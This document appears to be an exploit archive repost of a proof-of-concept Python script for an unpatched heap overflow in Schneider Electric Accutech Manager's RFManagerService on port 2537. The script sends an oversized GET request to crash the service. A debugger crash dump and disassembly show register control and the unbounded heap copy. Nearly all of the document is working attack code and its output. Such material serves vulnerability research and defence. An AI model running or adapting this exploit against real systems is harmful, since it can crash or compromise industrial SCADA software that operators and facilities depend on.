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Schneider Electric Accutech Manager Heap Overflow PoC
[#Schneider Electric
#Accutech Manager Server Heap Overflow PoC
#RFManagerService - Port: 2537
#I think this is the same vuln that ExodusIntel discovered. Credit also goes to Aaron Portnoy, ExodusIntel.
#The patch has not been released yet.
#Evren Yalcin, Signalsec Ltd. (www.signalsec.com)
#Download app:
#http://telemetry.schneider-electric.com/id2/media/downloads/software/scadarange/Accutech%20Manager%201.89.2.zip
import socket
import sys
host = "192.168.163.128"
port = 2537
buf = "\x41" * 400
req = ("GET /" + buf + " HTTP/1.1\r\n"
"Host: " + host + ":" + str(port) + "\r\n")
print " [+] Connecting to %s:%d" % (host, port)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(req)
data = s.recv(1024)
s.close()
#(d40.e8c): Access violation - code c0000005 (!!! second chance !!!)
#eax=41414141 ebx=00fd0000 ecx=41414141 edx=0b2999a8 esi=0b2999a0 edi=00000005
#eip=7c91142e esp=0ba3fc28 ebp=0ba3fe48 iopl=0 nv up ei pl zr na pe nc
#cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
#7c91142e 8b39 mov edi,dword ptr [ecx] ds:0023:41414141=????????
#----snip----
#text:0040DE91 push offset aReceivedReques ; "Received request, parsing...\n"
#.text:0040DE96 call nullsub_1
#.text:0040DE9B lea eax, [ebp+cbTransfer]
#.text:0040DEA1 push eax ; char * ; GET /AAAAAAAAAAAAAAAAAAAAAAAAA
#.text:0040DEA2 push esi ; int
#.text:0040DEA3 call sub_40E006
#.text:0040DEA8 add esp, 0Ch
#----snip---
#call sub_40E006 function copies GET data to staticaly sized heap buffer.
# 0day.today [2024-11-15] #